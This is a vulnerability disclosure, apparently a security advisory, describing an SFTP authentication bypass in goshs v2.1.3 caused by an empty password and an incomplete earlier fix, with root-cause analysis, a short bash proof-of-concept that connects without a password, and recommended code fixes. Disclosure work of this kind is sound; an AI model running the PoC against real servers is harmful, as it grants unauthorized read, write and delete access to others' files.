## Summary

Start goshs v2.1.3 with `-b 'admin:' -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b ':pass'`). The empty-password variant bypasses that fix.

## CVE-2026-40884

**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b ':pass'` with `-sftp`. `sftpserver.go:85` uses `&&`:

```go
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
```

Empty username → `Username != ""` false → `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.

Patrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:

```go
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
```

`HasPrefix(":")` catches empty username. It does not catch empty password.

## Empty Password Bypass

Same `&&` at `sftpserver.go:85`. Same nil handler. Different input:

```
goshs -b 'admin:' -sftp
```

- `Username = "admin"`, `Password = ""`
- `Username != "" && Password != ""` → false. Password is empty.
- `PasswordHandler` not set. No `-fkf` → `PublicKeyHandler` not set.
- gliderlabs/ssh → `NoClientAuth = true`.

CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`&&`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.

## PoC

```bash
#!/usr/bin/env bash
set -euo pipefail

HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
```

## Root Cause

```go
// Wrong: &&
if s.Username != "" && s.Password != "" {

// Correct: ||
if s.Username != "" || s.Password != "" {
```

`&&` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.

## Incomplete Fix

Patrickhener added `HasPrefix(":")` at `sanity/checks.go:116`. Two gaps remain:

1. `&&` still at `sftpserver.go:85` in v2.1.3
2. No `HasSuffix(":")` check for empty password

## Impact

- Unauthenticated SFTP file access (read, write, delete, rename)
- Same impact as CVE-2026-40884 via a different input
- Exploitable with `-b 'user:'` and no `-fkf`

## Affected

All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.

## Recommended Fix

1. `&&` → `||` at `sftpserver/sftpserver.go:85`
2. `HasSuffix(":")` check at `sanity/checks.go`
3. Shared auth handler setup for HTTP and SFTP code paths